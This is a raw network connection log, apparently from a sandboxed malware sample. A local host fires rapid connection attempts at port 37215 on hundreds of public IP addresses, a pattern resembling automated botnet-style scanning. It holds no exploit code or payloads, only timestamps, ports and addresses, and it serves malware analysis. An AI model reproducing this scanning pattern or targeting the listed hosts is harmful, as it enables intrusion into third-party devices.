Sep 25, 2024 14:14:15.549015999 CEST	63353	37215	192.168.2.14	41.100.18.224
Sep 25, 2024 14:14:15.549056053 CEST	63353	37215	192.168.2.14	156.143.36.241
Sep 25, 2024 14:14:15.549072027 CEST	63353	37215	192.168.2.14	41.149.183.161
Sep 25, 2024 14:14:15.549072027 CEST	63353	37215	192.168.2.14	156.54.179.35
Sep 25, 2024 14:14:15.549072027 CEST	63353	37215	192.168.2.14	41.4.58.82
Sep 25, 2024 14:14:15.549072027 CEST	63353	37215	192.168.2.14	156.54.38.220
Sep 25, 2024 14:14:15.549072027 CEST	63353	37215	192.168.2.14	197.23.217.168
Sep 25, 2024 14:14:15.549072027 CEST	63353	37215	192.168.2.14	197.92.38.36
Sep 25, 2024 14:14:15.549078941 CEST	63353	37215	192.168.2.14	41.73.112.48
Sep 25, 2024 14:14:15.549078941 CEST	63353	37215	192.168.2.14	41.165.66.116
Sep 25, 2024 14:14:15.549082994 CEST	63353	37215	192.168.2.14	156.75.174.69
Sep 25, 2024 14:14:15.549083948 CEST	63353	37215	192.168.2.14	197.84.30.107
Sep 25, 2024 14:14:15.549083948 CEST	63353	37215	192.168.2.14	197.33.173.215
Sep 25, 2024 14:14:15.549108028 CEST	63353	37215	192.168.2.14	41.124.230.56
Sep 25, 2024 14:14:15.549109936 CEST	63353	37215	192.168.2.14	197.252.25.6
Sep 25, 2024 14:14:15.549109936 CEST	63353	37215	192.168.2.14	156.154.203.247
Sep 25, 2024 14:14:15.549154043 CEST	63353	37215	192.168.2.14	197.248.84.223
Sep 25, 2024 14:14:15.549154043 CEST	63353	37215	192.168.2.14	197.30.167.254
Sep 25, 2024 14:14:15.549154997 CEST	63353	37215	192.168.2.14	41.223.98.103
Sep 25, 2024 14:14:15.549154997 CEST	63353	37215	192.168.2.14	197.43.10.11
Sep 25, 2024 14:14:15.549171925 CEST	63353	37215	192.168.2.14	197.85.162.59
Sep 25, 2024 14:14:15.549171925 CEST	63353	37215	192.168.2.14	41.203.131.61
Sep 25, 2024 14:14:15.549171925 CEST	63353	37215	192.168.2.14	41.105.16.109
Sep 25, 2024 14:14:15.549174070 CEST	63353	37215	192.168.2.14	197.7.195.80
Sep 25, 2024 14:14:15.549200058 CEST	63353	37215	192.168.2.14	197.110.52.250
Sep 25, 2024 14:14:15.549202919 CEST	63353	37215	192.168.2.14	197.183.43.180
Sep 25, 2024 14:14:15.549202919 CEST	63353	37215	192.168.2.14	156.5.183.251
Sep 25, 2024 14:14:15.549204111 CEST	63353	37215	192.168.2.14	156.167.162.176
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	41.72.202.152
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	156.102.162.216
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	41.127.186.16
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	41.166.21.70
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	41.20.243.89
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	41.139.157.36
Sep 25, 2024 14:14:15.549205065 CEST	63353	37215	192.168.2.14	156.236.115.158
Sep 25, 2024 14:14:15.549207926 CEST	63353	37215	192.168.2.14	197.19.244.224
Sep 25, 2024 14:14:15.549211025 CEST	63353	37215	192.168.2.14	41.56.252.226
Sep 25, 2024 14:14:15.549252987 CEST	63353	37215	192.168.2.14	156.202.10.153
Sep 25, 2024 14:14:15.549252987 CEST	63353	37215	192.168.2.14	156.228.88.161
Sep 25, 2024 14:14:15.549256086 CEST	63353	37215	192.168.2.14	156.250.25.124
Sep 25, 2024 14:14:15.549258947 CEST	63353	37215	192.168.2.14	41.143.241.30
Sep 25, 2024 14:14:15.549263000 CEST	63353	37215	192.168.2.14	197.34.223.165
Sep 25, 2024 14:14:15.549263000 CEST	63353	37215	192.168.2.14	156.25.212.77
Sep 25, 2024 14:14:15.549278021 CEST	63353	37215	192.168.2.14	156.177.245.218
Sep 25, 2024 14:14:15.549280882 CEST	63353	37215	192.168.2.14	156.237.135.241
Sep 25, 2024 14:14:15.549292088 CEST	63353	37215	192.168.2.14	197.210.11.25
Sep 25, 2024 14:14:15.549294949 CEST	63353	37215	192.168.2.14	197.0.45.133
Sep 25, 2024 14:14:15.549299002 CEST	63353	37215	192.168.2.14	156.44.51.198
Sep 25, 2024 14:14:15.549304962 CEST	63353	37215	192.168.2.14	156.111.32.121
Sep 25, 2024 14:14:15.549304962 CEST	63353	37215	192.168.2.14	156.132.63.129
Sep 25, 2024 14:14:15.549305916 CEST	63353	37215	192.168.2.14	41.9.246.56
Sep 25, 2024 14:14:15.549309015 CEST	63353	37215	192.168.2.14	156.158.28.125
Sep 25, 2024 14:14:15.549312115 CEST	63353	37215	192.168.2.14	41.197.251.239
Sep 25, 2024 14:14:15.549312115 CEST	63353	37215	192.168.2.14	41.147.151.143
Sep 25, 2024 14:14:15.549323082 CEST	63353	37215	192.168.2.14	197.17.143.42
Sep 25, 2024 14:14:15.549329042 CEST	63353	37215	192.168.2.14	156.30.252.146
Sep 25, 2024 14:14:15.549329042 CEST	63353	37215	192.168.2.14	156.78.177.246
Sep 25, 2024 14:14:15.549329042 CEST	63353	37215	192.168.2.14	41.144.158.66
Sep 25, 2024 14:14:15.549329042 CEST	63353	37215	192.168.2.14	197.210.64.125
Sep 25, 2024 14:14:15.549335957 CEST	63353	37215	192.168.2.14	41.61.48.133
Sep 25, 2024 14:14:15.549339056 CEST	63353	37215	192.168.2.14	41.23.239.234
Sep 25, 2024 14:14:15.549341917 CEST	63353	37215	192.168.2.14	41.149.115.48
Sep 25, 2024 14:14:15.549357891 CEST	63353	37215	192.168.2.14	156.96.155.240
Sep 25, 2024 14:14:15.549370050 CEST	63353	37215	192.168.2.14	41.48.186.85
Sep 25, 2024 14:14:15.549374104 CEST	63353	37215	192.168.2.14	41.242.39.117
Sep 25, 2024 14:14:15.549381018 CEST	63353	37215	192.168.2.14	156.41.91.15
Sep 25, 2024 14:14:15.549382925 CEST	63353	37215	192.168.2.14	41.113.134.130
Sep 25, 2024 14:14:15.549386024 CEST	63353	37215	192.168.2.14	41.76.102.200
Sep 25, 2024 14:14:15.549386024 CEST	63353	37215	192.168.2.14	197.222.127.48
Sep 25, 2024 14:14:15.549393892 CEST	63353	37215	192.168.2.14	197.216.247.125
Sep 25, 2024 14:14:15.549400091 CEST	63353	37215	192.168.2.14	41.82.55.103
Sep 25, 2024 14:14:15.549400091 CEST	63353	37215	192.168.2.14	197.167.13.35
Sep 25, 2024 14:14:15.549412966 CEST	63353	37215	192.168.2.14	156.184.248.18
Sep 25, 2024 14:14:15.549417019 CEST	63353	37215	192.168.2.14	197.45.216.151
Sep 25, 2024 14:14:15.549417019 CEST	63353	37215	192.168.2.14	156.78.25.150
Sep 25, 2024 14:14:15.549417019 CEST	63353	37215	192.168.2.14	156.178.44.86
Sep 25, 2024 14:14:15.549421072 CEST	63353	37215	192.168.2.14	41.47.70.248
Sep 25, 2024 14:14:15.549431086 CEST	63353	37215	192.168.2.14	156.153.70.44
Sep 25, 2024 14:14:15.549431086 CEST	63353	37215	192.168.2.14	41.227.195.184
Sep 25, 2024 14:14:15.549431086 CEST	63353	37215	192.168.2.14	41.70.45.236
Sep 25, 2024 14:14:15.549458027 CEST	63353	37215	192.168.2.14	156.52.147.173
Sep 25, 2024 14:14:15.549459934 CEST	63353	37215	192.168.2.14	41.155.101.8
Sep 25, 2024 14:14:15.549459934 CEST	63353	37215	192.168.2.14	156.85.93.225
Sep 25, 2024 14:14:15.549467087 CEST	63353	37215	192.168.2.14	197.31.143.235
Sep 25, 2024 14:14:15.549479961 CEST	63353	37215	192.168.2.14	156.132.218.228
Sep 25, 2024 14:14:15.549482107 CEST	63353	37215	192.168.2.14	41.81.93.39
Sep 25, 2024 14:14:15.549482107 CEST	63353	37215	192.168.2.14	197.16.79.238
Sep 25, 2024 14:14:15.549499035 CEST	63353	37215	192.168.2.14	197.152.18.11
Sep 25, 2024 14:14:15.549499035 CEST	63353	37215	192.168.2.14	197.216.189.231
Sep 25, 2024 14:14:15.549505949 CEST	63353	37215	192.168.2.14	41.239.22.191
Sep 25, 2024 14:14:15.549506903 CEST	63353	37215	192.168.2.14	156.238.131.250
Sep 25, 2024 14:14:15.549511909 CEST	63353	37215	192.168.2.14	41.142.182.255
Sep 25, 2024 14:14:15.549511909 CEST	63353	37215	192.168.2.14	156.142.19.253
Sep 25, 2024 14:14:15.549549103 CEST	63353	37215	192.168.2.14	156.90.77.165
Sep 25, 2024 14:14:15.549549103 CEST	63353	37215	192.168.2.14	41.248.119.155
Sep 25, 2024 14:14:15.549549103 CEST	63353	37215	192.168.2.14	156.98.127.107
Sep 25, 2024 14:14:15.549550056 CEST	63353	37215	192.168.2.14	197.122.216.158
Sep 25, 2024 14:14:15.549550056 CEST	63353	37215	192.168.2.14	41.5.254.206
Sep 25, 2024 14:14:15.549551010 CEST	63353	37215	192.168.2.14	197.77.186.158
Sep 25, 2024 14:14:15.549554110 CEST	63353	37215	192.168.2.14	197.140.211.88
Sep 25, 2024 14:14:15.549556017 CEST	63353	37215	192.168.2.14	41.250.38.152
Sep 25, 2024 14:14:15.549566984 CEST	63353	37215	192.168.2.14	197.219.67.238
Sep 25, 2024 14:14:15.549573898 CEST	63353	37215	192.168.2.14	41.186.228.227
Sep 25, 2024 14:14:15.549578905 CEST	63353	37215	192.168.2.14	156.145.158.199
Sep 25, 2024 14:14:15.549582958 CEST	63353	37215	192.168.2.14	197.222.74.67
Sep 25, 2024 14:14:15.549597025 CEST	63353	37215	192.168.2.14	197.230.125.206
Sep 25, 2024 14:14:15.549597025 CEST	63353	37215	192.168.2.14	41.35.191.241
Sep 25, 2024 14:14:15.549597025 CEST	63353	37215	192.168.2.14	41.30.58.153
Sep 25, 2024 14:14:15.549608946 CEST	63353	37215	192.168.2.14	197.139.43.183
Sep 25, 2024 14:14:15.549623966 CEST	63353	37215	192.168.2.14	156.164.68.250
Sep 25, 2024 14:14:15.549627066 CEST	63353	37215	192.168.2.14	197.252.116.136
Sep 25, 2024 14:14:15.549643993 CEST	63353	37215	192.168.2.14	197.24.43.176
Sep 25, 2024 14:14:15.549643993 CEST	63353	37215	192.168.2.14	156.123.199.196
Sep 25, 2024 14:14:15.549643993 CEST	63353	37215	192.168.2.14	41.54.80.22
Sep 25, 2024 14:14:15.549750090 CEST	63353	37215	192.168.2.14	41.35.244.35
Sep 25, 2024 14:14:15.550952911 CEST	52240	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:15.553859949 CEST	37215	63353	197.78.179.96	192.168.2.14
Sep 25, 2024 14:14:15.553924084 CEST	63353	37215	192.168.2.14	197.78.179.96
Sep 25, 2024 14:14:15.553925991 CEST	50606	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:15.553949118 CEST	37215	63353	41.32.61.138	192.168.2.14
Sep 25, 2024 14:14:15.554013968 CEST	63353	37215	192.168.2.14	41.32.61.138
Sep 25, 2024 14:14:15.554167032 CEST	37215	63353	197.9.71.25	192.168.2.14
Sep 25, 2024 14:14:15.554179907 CEST	37215	34036	41.135.24.40	192.168.2.14
Sep 25, 2024 14:14:15.554192066 CEST	37215	63353	156.179.180.91	192.168.2.14
Sep 25, 2024 14:14:15.554204941 CEST	37215	63353	41.72.128.114	192.168.2.14
Sep 25, 2024 14:14:15.554207087 CEST	63353	37215	192.168.2.14	197.9.71.25
Sep 25, 2024 14:14:15.554215908 CEST	34036	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:15.554217100 CEST	37215	63353	197.230.22.110	192.168.2.14
Sep 25, 2024 14:14:15.554228067 CEST	63353	37215	192.168.2.14	156.179.180.91
Sep 25, 2024 14:14:15.554229021 CEST	37215	63353	197.65.45.82	192.168.2.14
Sep 25, 2024 14:14:15.554239988 CEST	37215	63353	156.183.200.216	192.168.2.14
Sep 25, 2024 14:14:15.554245949 CEST	63353	37215	192.168.2.14	41.72.128.114
Sep 25, 2024 14:14:15.554251909 CEST	37215	63353	41.203.115.19	192.168.2.14
Sep 25, 2024 14:14:15.554265976 CEST	37215	63353	41.103.33.36	192.168.2.14
Sep 25, 2024 14:14:15.554294109 CEST	63353	37215	192.168.2.14	41.203.115.19
Sep 25, 2024 14:14:15.554301023 CEST	63353	37215	192.168.2.14	197.230.22.110
Sep 25, 2024 14:14:15.554301023 CEST	63353	37215	192.168.2.14	197.65.45.82
Sep 25, 2024 14:14:15.554301977 CEST	63353	37215	192.168.2.14	156.183.200.216
Sep 25, 2024 14:14:15.554301977 CEST	63353	37215	192.168.2.14	41.103.33.36
Sep 25, 2024 14:14:15.554483891 CEST	37215	63353	156.222.84.54	192.168.2.14
Sep 25, 2024 14:14:15.554495096 CEST	37215	63353	197.114.106.174	192.168.2.14
Sep 25, 2024 14:14:15.554505110 CEST	37215	63353	156.143.63.28	192.168.2.14
Sep 25, 2024 14:14:15.554526091 CEST	37215	63353	41.191.49.221	192.168.2.14
Sep 25, 2024 14:14:15.554527044 CEST	63353	37215	192.168.2.14	156.222.84.54
Sep 25, 2024 14:14:15.554527044 CEST	63353	37215	192.168.2.14	197.114.106.174
Sep 25, 2024 14:14:15.554538012 CEST	37215	63353	197.127.215.239	192.168.2.14
Sep 25, 2024 14:14:15.554538965 CEST	63353	37215	192.168.2.14	156.143.63.28
Sep 25, 2024 14:14:15.554547071 CEST	37215	63353	156.191.252.211	192.168.2.14
Sep 25, 2024 14:14:15.554557085 CEST	37215	52638	41.119.194.26	192.168.2.14
Sep 25, 2024 14:14:15.554567099 CEST	37215	63353	197.96.27.70	192.168.2.14
Sep 25, 2024 14:14:15.554578066 CEST	37215	63353	156.254.73.147	192.168.2.14
Sep 25, 2024 14:14:15.554579020 CEST	63353	37215	192.168.2.14	197.127.215.239
Sep 25, 2024 14:14:15.554589987 CEST	37215	63353	156.89.45.216	192.168.2.14
Sep 25, 2024 14:14:15.554598093 CEST	52638	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:15.554600000 CEST	63353	37215	192.168.2.14	41.191.49.221
Sep 25, 2024 14:14:15.554600954 CEST	63353	37215	192.168.2.14	197.96.27.70
Sep 25, 2024 14:14:15.554600954 CEST	63353	37215	192.168.2.14	156.254.73.147
Sep 25, 2024 14:14:15.554601908 CEST	37215	63353	197.254.247.148	192.168.2.14
Sep 25, 2024 14:14:15.554613113 CEST	37215	63353	41.208.247.73	192.168.2.14
Sep 25, 2024 14:14:15.554622889 CEST	37215	63353	156.121.34.64	192.168.2.14
Sep 25, 2024 14:14:15.554627895 CEST	37215	63353	41.94.46.202	192.168.2.14
Sep 25, 2024 14:14:15.554634094 CEST	63353	37215	192.168.2.14	156.191.252.211
Sep 25, 2024 14:14:15.554634094 CEST	63353	37215	192.168.2.14	197.254.247.148
Sep 25, 2024 14:14:15.554637909 CEST	37215	63353	41.84.240.86	192.168.2.14
Sep 25, 2024 14:14:15.554647923 CEST	63353	37215	192.168.2.14	156.89.45.216
Sep 25, 2024 14:14:15.554647923 CEST	37215	63353	41.16.164.173	192.168.2.14
Sep 25, 2024 14:14:15.554656029 CEST	63353	37215	192.168.2.14	156.121.34.64
Sep 25, 2024 14:14:15.554658890 CEST	37215	63353	41.87.233.176	192.168.2.14
Sep 25, 2024 14:14:15.554665089 CEST	63353	37215	192.168.2.14	41.208.247.73
Sep 25, 2024 14:14:15.554666042 CEST	63353	37215	192.168.2.14	41.94.46.202
Sep 25, 2024 14:14:15.554672003 CEST	63353	37215	192.168.2.14	41.84.240.86
Sep 25, 2024 14:14:15.554680109 CEST	37215	63353	41.159.148.38	192.168.2.14
Sep 25, 2024 14:14:15.554682970 CEST	63353	37215	192.168.2.14	41.16.164.173
Sep 25, 2024 14:14:15.554697990 CEST	63353	37215	192.168.2.14	41.87.233.176
Sep 25, 2024 14:14:15.554766893 CEST	63353	37215	192.168.2.14	41.159.148.38
Sep 25, 2024 14:14:15.554811954 CEST	37215	63353	197.251.76.206	192.168.2.14
Sep 25, 2024 14:14:15.554822922 CEST	37215	63353	41.215.133.206	192.168.2.14
Sep 25, 2024 14:14:15.554883003 CEST	63353	37215	192.168.2.14	197.251.76.206
Sep 25, 2024 14:14:15.554883003 CEST	63353	37215	192.168.2.14	41.215.133.206
Sep 25, 2024 14:14:15.554888010 CEST	37215	63353	41.182.116.145	192.168.2.14
Sep 25, 2024 14:14:15.554899931 CEST	37215	63353	197.38.202.166	192.168.2.14
Sep 25, 2024 14:14:15.554909945 CEST	37215	63353	156.31.162.16	192.168.2.14
Sep 25, 2024 14:14:15.554919958 CEST	37215	63353	41.13.245.207	192.168.2.14
Sep 25, 2024 14:14:15.554930925 CEST	37215	63353	41.81.193.210	192.168.2.14
Sep 25, 2024 14:14:15.554934025 CEST	63353	37215	192.168.2.14	41.182.116.145
Sep 25, 2024 14:14:15.554934025 CEST	63353	37215	192.168.2.14	197.38.202.166
Sep 25, 2024 14:14:15.554939985 CEST	63353	37215	192.168.2.14	156.31.162.16
Sep 25, 2024 14:14:15.554944038 CEST	37215	63353	197.230.101.92	192.168.2.14
Sep 25, 2024 14:14:15.554964066 CEST	37215	63353	41.7.83.129	192.168.2.14
Sep 25, 2024 14:14:15.554966927 CEST	63353	37215	192.168.2.14	41.13.245.207
Sep 25, 2024 14:14:15.554970980 CEST	63353	37215	192.168.2.14	41.81.193.210
Sep 25, 2024 14:14:15.554985046 CEST	63353	37215	192.168.2.14	197.230.101.92
Sep 25, 2024 14:14:15.554996014 CEST	63353	37215	192.168.2.14	41.7.83.129
Sep 25, 2024 14:14:15.555289030 CEST	34686	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:15.555289030 CEST	34688	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:15.555300951 CEST	52962	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:15.555316925 CEST	37466	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:15.555322886 CEST	54178	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:15.555337906 CEST	33220	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:15.556066036 CEST	46854	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:15.558445930 CEST	44234	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:15.558785915 CEST	37215	50606	41.59.164.197	192.168.2.14
Sep 25, 2024 14:14:15.558829069 CEST	50606	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:15.560208082 CEST	37215	34686	197.74.234.63	192.168.2.14
Sep 25, 2024 14:14:15.560249090 CEST	34686	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:15.560349941 CEST	35606	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:15.560478926 CEST	37215	34688	156.188.18.156	192.168.2.14
Sep 25, 2024 14:14:15.560489893 CEST	37215	52962	156.225.72.240	192.168.2.14
Sep 25, 2024 14:14:15.560499907 CEST	37215	37466	156.23.38.211	192.168.2.14
Sep 25, 2024 14:14:15.560529947 CEST	52962	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:15.560535908 CEST	37466	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:15.560549021 CEST	34688	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:15.560607910 CEST	37215	54178	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:15.560617924 CEST	37215	33220	41.87.166.42	192.168.2.14
Sep 25, 2024 14:14:15.560683012 CEST	33220	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:15.560686111 CEST	54178	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:15.562366962 CEST	37168	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:15.564856052 CEST	40818	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:15.567981005 CEST	35986	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:15.569546938 CEST	40252	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:15.569546938 CEST	40252	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:15.569832087 CEST	37215	40818	41.118.251.13	192.168.2.14
Sep 25, 2024 14:14:15.569875002 CEST	40818	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:15.570462942 CEST	40660	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:15.572010040 CEST	41280	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.572010040 CEST	41280	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.573714018 CEST	41688	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.574094057 CEST	41182	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:15.574094057 CEST	35744	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:15.574098110 CEST	49578	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:15.574117899 CEST	39212	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:15.574117899 CEST	55780	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:15.574122906 CEST	38240	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:15.574122906 CEST	39556	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:15.574122906 CEST	54954	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:15.574122906 CEST	60224	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:15.574122906 CEST	37588	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:15.574124098 CEST	38458	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:15.574124098 CEST	41592	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:15.574125051 CEST	42290	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:15.574125051 CEST	54734	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:15.574125051 CEST	60204	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:15.574129105 CEST	38568	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:15.574131012 CEST	48234	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:15.574131966 CEST	42272	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:15.574146032 CEST	43150	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:15.574152946 CEST	48092	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:15.574153900 CEST	37578	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:15.575215101 CEST	57664	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:15.575216055 CEST	57664	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:15.575233936 CEST	37215	40252	41.113.76.132	192.168.2.14
Sep 25, 2024 14:14:15.576313972 CEST	58072	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:15.577002048 CEST	37215	41280	197.228.42.166	192.168.2.14
Sep 25, 2024 14:14:15.577857018 CEST	56138	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:15.577857018 CEST	56138	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:15.578511953 CEST	37215	41688	197.228.42.166	192.168.2.14
Sep 25, 2024 14:14:15.578592062 CEST	41688	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.579467058 CEST	56546	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:15.580094099 CEST	37215	57664	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:15.582109928 CEST	34400	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:15.582109928 CEST	34400	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:15.583247900 CEST	34808	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:15.583980083 CEST	37215	56138	156.183.76.141	192.168.2.14
Sep 25, 2024 14:14:15.584249020 CEST	54898	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.584249020 CEST	54898	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.584784031 CEST	55306	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.585131884 CEST	52180	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:15.585131884 CEST	52180	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:15.585508108 CEST	52588	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:15.585938931 CEST	42446	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:15.585938931 CEST	42446	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:15.586148024 CEST	42854	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:15.586582899 CEST	40430	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:15.586582899 CEST	40430	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:15.586884022 CEST	40838	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:15.586951971 CEST	37215	34400	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:15.587276936 CEST	37782	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:15.587276936 CEST	37782	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:15.587660074 CEST	38190	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:15.588059902 CEST	37148	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:15.588059902 CEST	37148	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:15.588468075 CEST	37556	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:15.589087009 CEST	37215	54898	156.202.243.110	192.168.2.14
Sep 25, 2024 14:14:15.589092970 CEST	44252	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:15.589092970 CEST	44252	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:15.589453936 CEST	44658	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:15.589530945 CEST	37215	55306	156.202.243.110	192.168.2.14
Sep 25, 2024 14:14:15.589589119 CEST	55306	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.589867115 CEST	50886	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:15.589867115 CEST	50886	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:15.589884996 CEST	37215	52180	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:15.590234995 CEST	51292	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:15.590795040 CEST	40998	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:15.590795040 CEST	40998	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:15.590799093 CEST	37215	42446	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:15.591260910 CEST	41404	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:15.591483116 CEST	37215	40430	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:15.591942072 CEST	40384	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.591942072 CEST	40384	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.592519045 CEST	40790	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.592562914 CEST	37215	37782	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:15.593278885 CEST	35854	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:15.593278885 CEST	35854	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:15.594002962 CEST	36260	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:15.594163895 CEST	37215	37148	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:15.594607115 CEST	60642	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:15.594607115 CEST	60642	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:15.595108032 CEST	37215	44252	197.75.103.164	192.168.2.14
Sep 25, 2024 14:14:15.595308065 CEST	37215	50886	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:15.595314026 CEST	32816	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:15.595733881 CEST	37215	40998	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:15.595921040 CEST	49290	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:15.595921040 CEST	49290	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:15.596640110 CEST	49696	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:15.596950054 CEST	37215	40384	156.137.34.27	192.168.2.14
Sep 25, 2024 14:14:15.597264051 CEST	60486	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:15.597265005 CEST	60486	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:15.597913027 CEST	60892	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:15.598201036 CEST	37215	40790	156.137.34.27	192.168.2.14
Sep 25, 2024 14:14:15.598212957 CEST	37215	35854	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:15.598251104 CEST	40790	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.598515034 CEST	55604	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:15.598515034 CEST	55604	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:15.599193096 CEST	56010	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:15.599790096 CEST	37215	60642	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:15.599910975 CEST	53598	37215	192.168.2.14	41.234.48.19
